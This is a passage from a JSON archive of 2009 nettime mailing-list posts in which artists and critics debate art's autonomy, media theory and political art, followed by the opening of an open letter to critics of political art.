                    {
                        "from": "Rama Hoetzlein <rch {AT} umail.ucsb.edu>",
                        "content": "\nBrian, thanks for your reply. In general, i'm glad to see that\nwe're mostly in agreement. Based on my observations of nettime-l,\ndisagreement is often the norm, so I'm glad to see that there is\nsome consensus between us that the new media theorists are currently\nthe only option we've been given, and that we really need some\nalternatives.. Now, for some responses.\n\n> Your idea that there is an art-philosophical perspective that could \n> exclude or bypass social determinism seems, begging your pardon, \n> somewhat naive. \n\nI'm not suggesting that art-philosophy can bypass social determinism.\nI have no illusions about the difficulty the artist faces in creating\nany real social change, since my view of art does not negate any of\nthe real research done by the media theorists. My own view is that\nthe idea of art-for-social-change is long outdated. You suggest\nthat hackers are the source of real inspiration in new media theory\nbecause they alone are able to transform the media itself, and thus\nundermine the system toward some possible escape path. Yet, there\nis no reason to believe that even if the media itself changes, that\nsociety will too. In my view, the only way we could overcome the\ncurrent technoscientific system would be due to a deep, fundamental\ntransformation in all individuals - and while I believe art is\ncapable of doing this one person at a time, I don't think any one\nartwork, hacker or otherwise, is capable of really altering the\ntechnoscientific system we find ourselves in on a global level. Thus,\nall social change we talk about now is still part of that system. This\nis the media theorist perspective, of course - which i agree with -\nbut as an artist, its incomplete.\n\nThe reason I advocate art-philosophy is for the sake of the\nindividual, and the field of art itself. While i just said the artist\nis powerless to transform culture, perhaps to a degree greater than\nmost would like, the artist is _not_ powerless to transform him or\nherself, and others which that person touches through the art..\nDespite whatever the technoscientific system may do, to create art is\nan intentional act by an individual, and thus has an immutable meaning\njust by virtue of being \"created\". We get to choose what is created\n(this does not make it good art necessarily).\n\nThat meaning is present in all work \"to varying degrees\". By this, i\nmean that we each have a unique relationship to our artwork. For some,\nit is a mirror of personal emotions and fantasies (and probably my\nown work most of the time), while others may be able to communicate\nmore.. So, I'm not evaluating art. Some is good, some is not. However,\nhaving an art-philosophical does not automatically reduce our works to\nemotional fantasies. In fact, it is more likely to result in genuinely\nempathetic works since it creates a solid foundation for art based on\na philosophy in which art is encouraged to be empathetic, rather than\nresponsive to a system.\n\nI'm simply stating -- which I think we perhaps both agree with here --\nthat so far we have not been given any other alternative view of new\nmedia art other than that proposed by the new media theorists. The way\nout of this problem is, I believe, through a philosophy of art whereby\nthe artist has full awareness of the problems of society (hopefully),\nyet continues to create works of art despite this. It is possible to\nhave no illusions about the inability of art to bring about explicit\nsocial change, but understand that it can bring implicit change\nthrough individual communication.\n\n-rama\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00052",
                        "date": "Sun, 17 May 2009 17:24:51 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4A10AAD3.1010309 {AT} umail.ucsb.edu",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00052.html",
                        "content-type": "text/plai",
                        "author_name": "Rama Hoetzlein",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "from": "carlos katastrofsky <carlos.katastrofsky {AT} gmail.com>",
                        "content": "\n> The way out of this problem is, I believe, through a philosophy of\n> art whereby the artist has full awareness of the problems of society\n> (hopefully), yet continues to create works of art despite this.\n> It is possible to have no illusions about the inability of art to\n> bring about explicit social change, but understand that it can bring\n> implicit change through individual communication.\n>\n\nbut can \"change\" be a parameter for art? what is to be changed through\nart? i agree that a \"change\" in whatever direction is possible but\nIMHO art mustn't be reduced to it. to me art is also someting i can\nadmire without thinking of having to change something. in fact even\nif i see some really good \"political art\" the first step is to admire\nit (wow, great work) and then to think about consequences. art is\nsomething autonomous. to me such an approach would free it from being\na mere form of communication, a medium, or \"new media art\". but at the\nsame time it can be all of that.\n\nbest,\ncarlos\n\n\n-- \nhttp://katastrofsky.cont3xt.net\nhttp://cont3xt.net\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00058",
                        "date": "Mon, 18 May 2009 16:11:26 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "fb9095bf0905180711m6cd209adt9b6435753d81770a {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00058.html",
                        "content-type": "text/plai",
                        "author_name": "carlos katastrofsky",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "from": "Rama Hoetzlein <rch {AT} umail.ucsb.edu>",
                        "content": "\nexactly.. even if we are fully unconcerned with political art, when\nyou say \"wow, great work\", thats just and only what i mean by implicit\nchange (you are changed).. art is autonomous here because, while the\nwork may or may not be political, this implicit change defines only\nthe meaning-relation between the artist, the work, and the viewer.\nAnd that relationship is established independent of the impact of\nmedia on society, i.e. politics. A philosophy of art should provide a\nfoundation for complete autonomy, and this is done by observing that\nthe basis of art is creating and appreciating.. keeping in mind that\ntheory only gets you so far as an artist.\n\nrama\n\ncarlos katastrofsky wrote:\n> but can \"change\" be a parameter for art? what is to be changed through\n> art? i agree that a \"change\" in whatever direction is possible but\n> IMHO art mustn't be reduced to it. to me art is also someting i can\n> admire without thinking of having to change something. in fact even if\n> i see some really good \"political art\" the first step is to admire it\n> (wow, great work) and then to think about consequences. art is\n> something autonomous. to me such an approach would free it from being\n> a mere form of communication, a medium, or \"new media art\". but at the\n> same time it can be all of that.\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00057",
                        "date": "Mon, 18 May 2009 10:11:25 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4A1196BD.3060002 {AT} umail.ucsb.edu",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00057.html",
                        "content-type": "text/plai",
                        "author_name": "Rama Hoetzlein",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                        "content": "carlos katastrofsky wrote:\n\n > if i see some really good \"political art\" the first step is to admire\n > it (wow, great work) and then to think about consequences. art is\n > something autonomous. to me such an approach would free it from being\n > a mere form of communication, a medium, or \"new media art\". but at the\n > same time it can be all of that.\n\nWhat does one admire a piece of art? What is its autonomy?  And what could\nbe its consequences? I have asked myself these questions for years. Like\nmost thinking people, I have come to a few conclusions. And since I like\nthe idea that art can be \"all of that\" - a form of communication, a medium,\nnew media art - I would like to share these conclusions with you.\n\nHumans are excessively complex by nature, and inherently social. We are\ndefined by the surfeit of symbolic activity that goes on in our brains and\nindeed, in our full sensorium, and that comes out not only from our mouths\nbut in all sorts of gestures and postures and practices directed toward the\nsenses and symbolizing activities of others. A long anthropological\ntradition running from Sapir through Levi-Strauss to Sahlins holds that\nso-called \"primitive\" societies are no less complex than modern ones: their\nlanguages show comparable range and variety, but are (according to\nLevi-Strauss) oriented differently, more concrete in one case, more\nabstracted in the other. There is so much going on in any human being and\nbetween any group of human beings that just ordering or harmonizing all\nthis excessive symbolization - I mean, excessive over what the utilitarians\nthink of as the simple quest for satisfaction or corporeal pleasure -\nbecomes a problem in itself. Because madness always lurks on the edges of\nour reeling imaginations, and then there is also depression, or anger, or\njealousy, or prejudice or extreme paranoia, indeed a great number of\nobscure problems that can disrupt the life of the one and of the many.\n\nReligion has been the great social technique for bringing all this roiling\nthought, expression and sensation into some kind of predictable pattern and\nharmony, constituting entire narrative and figural universes, with their\nbuilt environments, rituals, music, poetry, smells, tastes, etc, all\nassociated and carefully correlated with orders of kinship, canons of\nsexuality, responsibilities of care, expressions of tenderness,\ncommandments, prohibitions and the like. What we now call art, as it\ngradually detached itself from religion and became a series of aesthetic\ntraditions interpretable and modifiable by individuals - as it became\nautonomous in other words - seems to have taken on the role of being the\nsensuous and ideational mirror of the individual's proper \"fit\" with\nsociety; it became a way of continuing the vast and mostly imaginary\nconversation about the ways that the one relates to the many, and\nvice-versa.  However, this conversation was no longer necessarily about\nharmony: because depending on the very particular context, the proper \"fit\"\ncould have aspects of a \"misfit,\" and the quest for an idealized harmony\ncould involve extreme disruptions of the status quo, disruptions appearing\nboth in art and in life itself. Just think about the Antigone of Sophocles\nand you will see that this kind of problematic was not invented with the\nromantics, it goes back quite a ways.  Clearly it gets particularly intense\nin modern democracies, where we are all brought up to conceive ourselves as\nboth legislators and revolutionaries.\n\nNow, amusingly, one of the reasons I ever even bothered to think about such\ncomplex and excessive things, so far from \n\"direct political action\" and what have you, is that for \nmany years I have found myself with a certain nagging problem of getting up\nin the morning. Perhaps others have experienced this? It so happens that on\ncertain mornings I may spend as much as an hour just thinking about a\ncertain constellation of things: a group of people, an artwork, a political\nissue, a line from a song, a concept, a phrase from a book, an image, a\nrhythm. Without showing any particular signs of anxiety, insanity,\ndelirium, fever, swine flu or whatever, I still found it necessary to bring\nsuch constellations of ideas and sensations into some kind of dynamic\npattern that would lend a spring to my step, a direction to my speech, an\neffectiveness to my gestures.  Being a bit of a misfit - according to the\naforementioned tradition in the democratic societies - I had to work on\nthis question of how to fit all this in, nonetheless: how to fit into my\nown overflowing symbolic and sensate world, first of all, and how to fit\nthat world into the multitude of others with whom daily activity brings me\ninto contact.  Thus I began to think that what is pleasing, satisfying,\nattractive, intriguing, inspiring, shocking, repellent, etc in the formal\nallure of artworks is also somehow the result of other people's struggles\nwith the excess of symbolization in which they are embroiled, and that the\n\"success\" of the artwork (wow, great work) is always some variation on the\n\"infinite theme of the artist(s) trying to break out of one universe and\n\"fit into another - whether we're talking about a purely abstract universe\n\"of chromatism or rhythm, or some Hegelian quandry of historical\n\"dialectics, or the current discussion about cap and trade, or the latest\n\"dispute over the coolest tattoos in the punk or heavy-metal circle that\n\"encloses your secret passion. An aesthetic form doesn't directly solve any\n\"of the weighty social problems - but it helps get a world together, it\n\"helps structure a pattern and a dynamic and an enthusiasm, which is always\n\"a good start.\n\nSo how 'bout the politics then? Well, according to my little theory, the\npersonal is clearly both aesthetic and political, because if you can't get\nout of bed you are definitely not going to make it to the office, the\nmarch, the meeting, the voting booth, the library, or wherever your\nactivity is going to have some consequences in terms of organizing social\nrelations. What is more, this is not just my little theory, because going\nback to Plato's Republic or maybe the Rig Vedas, social thinkers have been\nvery conscious of the influence of things like music on the order and\nharmony of the community, the city, state or whatever.  Indeed, not long\nago we saw with dazzled and almost disbelieving eyes that a great\nnation-state like China could put a significant fraction of its resources\ninto organizing an aesthetic display which was not just supposed to knock\neverybody out, American style, with its overwhelming show of wealth, but\nalso and above all to enact and celebrate an ideal of harmony and societal\ncoordination which, from my anarcho-individualist viewpoint, was at once\nvastly impressive and also frankly terrifying, because here I could see an\nintensive use of all the latest, hypercomplex aesthetic techniques to knit\ntogether an order that could power a vast authoritarian economic machine\nand infuse it with the enthusiam and belief of the many - which is a lot,\nwhen we're talking China. So you want new media? Replay your avi file of\nthe opening ceremonies of the 2008 Olympics.\n\nWhat I am trying to get at with all of this is that art is essentially\nmedia, it is not merely but essentially about communication, only what is\ncommunicated is not just a phrase or a slogan or a piece of information,\nbut a problematic attempt to reconfigure a world on every level of sensate\nand imaginary experience. That can be an attempt to fit in or to stick out,\nto harmonize or to disrupt, to smash the current relation of self and\nsociety or to conserve it or to invent another one; but insofar as art is\nexpression, it always projects this struggle over the shape and balance of\na world towards the ears and eyes and excessive imaginations of others.\nWhen we say that art is autonomous, we situate it in the long democratic\ntradition where the self, autos, tries to help establish the law, nomos,\naccordingly which it can freely develop in the company of fellow human\nbeings. Now, the problems of this attempt at autonomy are almost infinite,\nthey are sexual, technical, ecological, emotional, mystical, contractual,\nmaterial, they involve philosophy, science, babies, great art and also the\nplumbing. And they always involve the relations of individuals and groups\nto others whose worlds they do not understand, whose rhythms they do not\nfeel pulsing in their own veins, whose tacit concepts of harmony and\ndisruption are not expressed by the same patterns and shapes and colors and\ncombinations of tones. So when I say, Wow, great art - as I often do, just\nthe way people in the new media arts circles have done for years at\nfestivals sponsored by Philips and Microsoft and Sony and the like - the\nfirst consequence for me is to inquire into the world from which that art\narises and to which it points, and eventually to see how I fit into or\ndesire to break out of that world.  This means that a deep and searching\ncriticism can never just be criticism of the work, it always has to look\nfurther back, into the world from which it sprang, and ahead to the\nconsequences of a potential change in the worlds we share, or at least to\nthe consequences of a change in the way that *I* or *we* will relate to\nother worlds in the future.\n\nFinally, it seems to me, in my anarcho-democratic world, that to say Wow,\ngreat art, without inquiring into the consequences, is one of the closest\nthings one can do to never getting out of bed, i.e. it's close to\nsleepwalking.  Because at best, you would then be just letting the great\nart fit into your own great dream, or letting it be the colorful and\nstriking tattoo that will fit you into your small chosen circle. That's at\nbest - because in the present world of biopower and noopower, just admiring\na work in itself and for itself can mean accepting without question the\nworld that it mediates, which in the case of the networked technologies\nsold by Sony and Microsoft Philips and abused by a vast array of\ncorporations and governments, can be an extremely predatory world,\nconfigured precisely in order to capture your consciousness and extract\nsome value or utility out of your passions and dreams. Value that can\nultimately be devastating for the collectivity (as in the debt-fueld\nconsumption boom of this decade), utility that can make you into the most\nterrible of instruments (like the voters lured by nationalist rhetoric into\nsupporting our proliferating wars).\n\nIt has been years since I read Lev Manovich, so what follows may be totally\nunjust to his work, but as I recall, what always irritated me in his\nwriting was a kind of smug insistence that the new media were essentially\ndefined by a certain kind of rhythm, a certain multiplication of screens, a\ncertain connection to databases, etc. - in other words, that the new media\nwere essentially defined by the dominant trends of contemporary capitalist\nsociety. For me this seemed like a total abdication of criticism itself,\nand it also seemed to be a sort of cheerful, \"I'm on the winning side\"\nversion of the dark technological determinism and philosophical doomsaying\npromoted by the post-Leftist thinkers in the wake of Baudrillard. What I\nmissed was the very question of autonomy, and some recognition of its\nquasi-infinite complexities as they've been ceaselessly developing from the\nNeolithic to now, in the long and discontinuous series of messages passed\nfrom human world to human world. Imho, the poverty of new media art - its \n\"crisis\" - has intrinsically to do with the poverty of media \ncritique tout court. It is the failure to see how the cultural politics of\nindividuals and groups are mediated in the work, how they are expressed at\nevery level of their ineluctable complexity and excess over the \"mere\ncommunication\" of what already exists.\n\nbest, Brian\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00062",
                        "date": "Tue, 19 May 2009 15:44:02 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4A12B7A2.7080003 {AT} wanadoo.fr",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00062.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts Crisis"
                    },
                    {
                        "from": "Michael H Goldhaber <mgoldh {AT} well.com>",
                        "content": "\nThanks for some beautiful and thought-provoking statements, especially  \nBrian\u2019s and Carlos\u2019s. I would add that to me the real medium of all  \nart is attention, attention the viewer or reader or listener must pay,  \nfeels consciously drawn to pay, in a deepening and all encompassing  \nway. That attention amounts to a transformation of self \u2014 into the  \nmind and body of the artist, as it were. The rest of the world falls  \naway for that moment, and so does time \u2014the moment might be a long one  \n\u2014and,a s Brian suggests will recur  later on, in recollection and  \nreflection.\n\nIf that is art, it is always political, because it always takes the  \nattention payer out of the \u201csystem,\u201d whatever it might be and however  \nmuch the managers of the system in fact solicited the artist  or the  \nwork to begin with. The huge abstract paintings of the 1950\u2019s cold  \nonly fit on the walls of the rich, but nonetheless, as long as they  \nwere there, they took over those walls, and made the space different  \nfrom what the collector might have intended, and the same goes for  \nRenaissance art and art of other periods.\n\nThe reason different media come in is that the artist has an on-going  \nproblem as to how to capture attention as distractions and competition  \nmultiply. In some way, to be really focussed on, art must avoid being  \ntoo easy to experience, for then it can become just the background,  \njust decoration or elevator music, or something that can always be  \nattended to \u201clater\u201d \u2014 I.e., usually never. This is  a serious and  \nsignificant problem for new media as well, including much Internet art.\n\nExpressly political art can only succeed, it seems to me, if it comes  \nfrom the inner depths.  For instance, I just finished reading Istvan  \nKertesz\u2019s \u201cFatelessness;\u201d I don\u2019t think it is intentionally political  \nbut it certainly made me boil with anger at the human mistreatment and  \nneglect of others. Such art brings what was already there inside us  \nand adds to its centrality. But that doesn\u2019t happen often. In my  \nexperience most political art is superficial and therefore bad, just  \nas likely to turn off sympathetic feelings in the viewer as the  \nopposite.\n\nIncidentally,  I don\u2019t know that good art necessarily causes us to  \nthink \u201cWow! I admire that.\u201d But it doesn't easily let go of us.\n\n\nBest,\nMichael\n\nOn May 19, 2009, at 6:44 AM, Brian Holmes wrote:\n\n> carlos katastrofsky wrote:\n>\n>> if i see some really good \"political art\" the first step is to admire\n>> it (wow, great work) and then to think about consequences. art is\n>> something autonomous. to me such an approach would free it from being\n>> a mere form of communication, a medium, or \"new media art\". but at  \n>> the\n>> same time it can be all of that.\n>\n> What does one admire a piece of art? What is its autonomy?  And what  \n> could\n> be its consequences? I have asked myself these questions for years.  \n> Like\n> most thinking people, I have come to a few conclusions. And since I  \n> like\n> the idea that art can be \"all of that\" - a form of communication, a  \n> medium,\n> new media art - I would like to share these conclusions with you.\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00064",
                        "date": "Tue, 19 May 2009 12:30:11 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "F6688CA9&#45;F000&#45;49A8&#45;9176&#45;5F62EC6DF50A {AT} well.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00064.html",
                        "content-type": "text/plai",
                        "author_name": "Michael H Goldhaber",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "from": "eyescratch <eyescratch {AT} gmail.com>",
                        "content": "\nOn Tue, May 19, 2009 at 9:44 AM, Brian Holmes <brian.holmes {AT} wanadoo.fr> wrote:\n\n> So you want new media? Replay your avi file of the opening\n> ceremonies of the 2008 Olympics.\n>\n> What I am trying to get at with all of this is that art is\n> essentially media, it is not merely but essentially about\n> communication, only what is communicated is not just a phrase or\n> a slogan or a piece of information, but a problematic attempt\n> to reconfigure a world on every level of sensate and imaginary\n> experience.\n\nMuch of media studies is obsessed with witnessing an existence that is\npart of mediality, to borrow a term from the previous discussion, by\nplacing great emphasis on inserting the observer into the equation.\nNevertheless these studies formulate a distinction to preserve some\nauthorship role. What this kind of representational relationship\nignores is that it precludes any kind of intervention in favor of a\nconservation. If the art cannot be conserved because it is conceptual\nor a piece of code, the identity of the author is preserved and\ncelebrated. This is because a piece of media arrives at its monetary\nvalue by being bundled with products that claim to correct the\ninjustices, needs, or ailments being described in that piece of media.\nThe media is monetized either for its value of showing a certain lack\nor showing the idealized completion that a product might fulfill. An\nauthorship identity, it turns out, can fulfill this marketing function\nnicely for the lack of any particular object that might or might not\nexist or lacks monetary value, culminating it seems these days in a\nguarded wikipedia entry.\n\nTurns out, while searching for a word to describe the process of\nentering into communication via media I looked up mediated. There is\nplenty of secondary literature on McLuhan using this word to capture\nthe processes McLuhan describes, but he himself only uses the word\nmediated with the original definition to describe the arbitration\nthat happens in a conflict. Using the term mediated in the sense that\na form of communication is performed via media, still implies that\nthere is an exchange occurring where each party must sacrifice some\nof their preconceptions in a productive process that is manufacturing\nrepresentation. Otherwise this representation veers very quickly\ntowards the ideological.\n\nhTTp://eyescratch.tk\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00069",
                        "date": "Sat, 23 May 2009 10:30:31 -0400",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "79976e5a0905230730j58fc5bdes611529b066f69590 {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00069.html",
                        "content-type": "text/plai",
                        "author_name": "eyescratch",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "from": "carlos katastrofsky <carlos.katastrofsky {AT} cont3xt.net>",
                        "content": "> I am not so sure whether I agree. It all depends on your definition of\n> \"media\". The problem is that the word \"media\" means quite different things\n> in different contexts:\n\ni agree. but exactly this is the point: media theory is swallowing\neverything, but where are its boundaries? what i am trying to find as\nartist (neither theorist nor philosopher) is a definition for art that\ngoes beyond a mere definition as \"media\" in whatever sense.\nthat is why i am aiming on the much-maligned term of \"autonomy\" (and\ni'm following here the previous mentioned philosophy of j.\nrebentisch). to me this doesn't mean art is somewhat apolotical or\ndealing solely with itself (l' art pour l'art - i guess you had this\nin mind when stating \"[...] If the basic quality of art - in the sense\nof 'Fine Art' - lies in its self-reference to its own system, then it\nwould be something very narrow and ultimately boring, [...]\"). art is\nmade to be seen/heard/whatever - to be experienced. and this\nexperience is what defines art and not media. it can change in time\n-we quite surely don't experience cave paintings in the same way the\nones did who made them- but i'm not sure if \"the media\" does, no\nmatter if it's read as \"painting/drawing\" or as \"hunting scene\". what\ni am hoping to find by this is a possibility to think about \"art\" and\nneither media nor porn or politics. these are -let's say- \"themes\"\nthat can be interpreted, but i hope that art goes beyond being a good\ndesigned set of political opinions. i mean, what political context is\nreflected in leonardo's \"last supper\"? we surely can speculate but do\nwe know? these are things that are bound to their time and context but\nnevertheless we still percieve it as \"art\".\n\n> If I take, for example, the subjects of the last nine transmediale\n> festivals (\"Do It Yourself\",\n[...]\n> One could just as well say that contemporary art deals with \"white cube\n> installation art\" with changing subtitles.\n[...]\n> The same terms abound in the contemporary art discourse if you read, for\n> example, \"October\" or \"Texte zur Kunst\".\n\nyep, exactly. and this what the \"art world\" makes as boring as \"new\nmedia art\". what i had in mind when saying that the \"fine art world is\ndealing with other subjects\" was not the (i would like to call it\nnonexistent) contemporary discourse. what can be seen in the fine arts\nfield (but not in the big biz -documenta, ps1, kw, ...) is an\ninclusion of possibilities in expression and perception which i never\nsaw in any media-art discourse (though i have to admit i am far from\nfollowing everything in that area).\n\n> Not knowing the full context of this quote, I nevertheless find such\n> systemic definitions of art quite risky. If the basic quality of art\n> - in the sense of 'Fine Art' - lies in its self-reference to its own\n> system,\n\ni'm sorry if this comes through that way, i'm not the best in\nformulating things. i never wanted to present art as solely\nself-referential system. if autonomy is read as autonomy of the object\n(l'art pour l'art) i would agree totally with you. but seen from the\nviewpoint that \"art\" may not lie in an object but somewhere between\nthe object and the observer (experience, perception) an autonomy of\nart is essential.\n\n\nthank you all for your replies :-)\n\nbest,\ncarlos\n-- \nhttp://katastrofsky.cont3xt.net\nhttp://cont3xt.net\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00061",
                        "date": "Tue, 19 May 2009 15:14:35 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "fb9095bf0905190614l39062a34j17867e0d82469c5f {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00061.html",
                        "content-type": "text/plai",
                        "author_name": "carlos katastrofsky",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts\tCrisis"
                    },
                    {
                        "from": "Station Rose <gunafa {AT} well.com>",
                        "content": "\nOn Sunday, May 17 2009, 10:59 (+0200), florian cramer wrote:\n\n>If I take, for example, the subjects of the last nine transmediale\n>festivals (\"Do It Yourself\", \"Go Public\", \"Play Global\", \"Fly\n>Utopia\", \"Basics\", \"Reality Addicts\", \"Unfinish\", \"Conspire\", \"Deep\n>North\"), they could just as well have been the names of contemporary\n>art exhibitions at PS.1 in New York, KW in Berlin, Witte de With in\n>Rotterdam, or any other contemporary art space.\n\nbut it wasnt like that cause it was happening ONLY in a festival     .\n<ghetto> situation                                                   .\n\nas I see it, many art people are not going to events like\ntransmediale, cause its not seen as an important place for art. I dont\ngo, besides when we are actively part of it.\n\nlooks like media art is not sexy enough. the exhibits, as part of\nfestivals, are often too prudish. everything sensual seems forbidden,\n\ntoo often it s needs written explanations to understand the\n(political) work.\n\nI do not believe - and I say that as an artist- that the written word\nis necessary to <understand> a piece of art.it can help and make\ndetails transparent, but its not necessary in advance.\n\n\nmy own experience with Station Rose media art projects-like recently\nLogInCabin in MAK Vienna- is : they are recognized & seen in art\nspaces, museums by the art scene, but not as much in a so called media\nart context as festivals are.\n\nbasically my impression is that as long as a dicussion like that one\ngoes on, it makes clear that the art world is something and the media\nart scene is out of it.\n\n\n-- \n----------------------------------------------------\nStation Rose     digital_audio  - visual art      http://www.stationrose.com\n....................    Gary Danner & Elisa Rose\n\nFrankfurt   - Cyberspace -  Vienna.\n\n* recent project: 20 Digital Years. \"LogInCabin\" mediascultpure at \nMAK Vienna_sold\n* new: \"Interstellar Overdrive CD\" Japan release (2.09)\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00072",
                        "date": "Sun, 24 May 2009 13:52:26 +0200",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "a06200701c63ee015f460 {AT} [192.168.1.100]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0905/msg00072.html",
                        "content-type": "text/plai",
                        "author_name": "Station Rose",
                        "subject": "Re: <nettime> Political Work in the Aftermath of the New Media Arts Crisis"
                    }
                ],
                "message-id": "6759B219&#45;5B42&#45;4ED7&#45;9458&#45;133BB375140C {AT} xs4all.nl",
                "date": "Mon, 11 May 2009 21:29:14 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00020",
                "content": "(Written in response to the lack of debate during last weekend's \nCreative Time conference in NYC. I think art criticism is important \nsource of inspiration and reference (or not) for net critique. The \nletter also refers to the ongoing, almost funny neglect by the 'art \nworld' of 'new media'. /geert)\n\n\nAn open letter to critics writing about political art\n- Stephen Duncombe & Steve Lambert\n\nLast weekend Creative Time held their fourth annual summit on the current\nstate of artistic activism. Over two days, scores of political artists from\naround the world gave short presentations and organized longer workshops.\nHundreds of people participated.\n\nThe critical response, so far, has been underwhelming: few critics\nattended and those that did had little substantive to say. It would be easy\nto account for the overall silence and dismiss the surface commentary with\nsome snarky criticism of our own about a bullshit art world with their\nhead up their ass who can't recognize that something important is\nhappening right in front of them. And while this may be self-righteously\nsatisfying, it is not very helpful. We want to help.\n\nHow this event was -- and wasn't -- covered is indicative of the state of\ncriticism when it comes to political art. The problem is not necessarily\nlazy criticism, but the fact that we don't have a developed vocabulary\nwith which to understand, and criteria with which to evaluate, political\nart and activist artists. In an effort to develop a language and criteria\nwith which artistic activism can be usefully criticized, we offer the\nfollowing seven questions for the critic to consider:\n\n1. Does it work? \n\nArt about politics is not necessarily political art. The function of\npolitical art is to challenge and change the world. This should be obvious,\nbut there is plenty of \"political art\" which uses social injustice and\npolitical struggle as mere subject matter: making these forces objects for\ncontemplation and, perversely, appreciation. The point of political art is\nnot to represent the world but to act within it.\n\nThus, the first question to ask of political art is: Does it Work? We\ndon't mean: does it work aesthetically? but does it work politically. This\nentails asking more questions. Questions like: What does the artist want\nto achieve with their work? What change do they see happening through\ntheir work? How will this change happen? Who is affected, what affect will\nthe work have on them, and what actions will these people take?\n\nWe're not suggesting that there's one criterion of efficacy for political\nart, nor is there one goal that all political arts should move towards.\nWhat we are saying is that political artists, if they want to change the\nworld, need to think about what they want their work to do. And critics,\nif they want to seriously interrogate and evaluate this work, have to both\nexamine those political aims and ask whether the artist has succeeded.\n\nIt is hard to truly succeed as a political artist. Many times, an artist\naims short and sets out to \"intervene\" and \"raise awareness\" about a social\nproblem or political issue. This is the low hanging fruit of political art.\nOther work sets out to have a direct impact in a discernible way. Using\nart to defeat a pending policy, or elect a politician. This is more\nambitious on the part of the artist, and easier -- if not boring -- for the\ncritic of political art to judge. Much harder, much more ambitious, and\ntherefor much more difficult to evaluate, is art that intends to change\nthe very way we see, act and make sense of our world -- including what we\nunderstand to be politics itself. It is hard to measure the long term\ntotal victory of a shift in the culture.\n\n2. Who is the audience?\n\nThe art critic is the audience for most art, and therefor it's quite valid\nfor the critic to write from his or her own perspective. The audience for\npolitical art is quite different. Political art, by it's very name, has the\n\"polis\" as its audience and this constitutes a much broader demographic -- \none in which the art critic is confronted with readings of art radically\ndifferent than their own. As diverse as we'd like to imagine the audience\nfor most art to be it draws from a very narrow population, one in which\nthe art critic is at home. But when the audience is a wider public, the\ntried and true perspective of the veteran art critic comes up short. The\ncritic of political art needs to place themselves in the minds of very\ndifferent people. This takes humility. It may even require taking the\nradical step of talking to the audience, asking them what they see, what\nthey think. These are basic techniques of journalism and ethnography that\nan art critic may not be accustomed to.\n\n3. What is the relevant tradition?\n\nThe 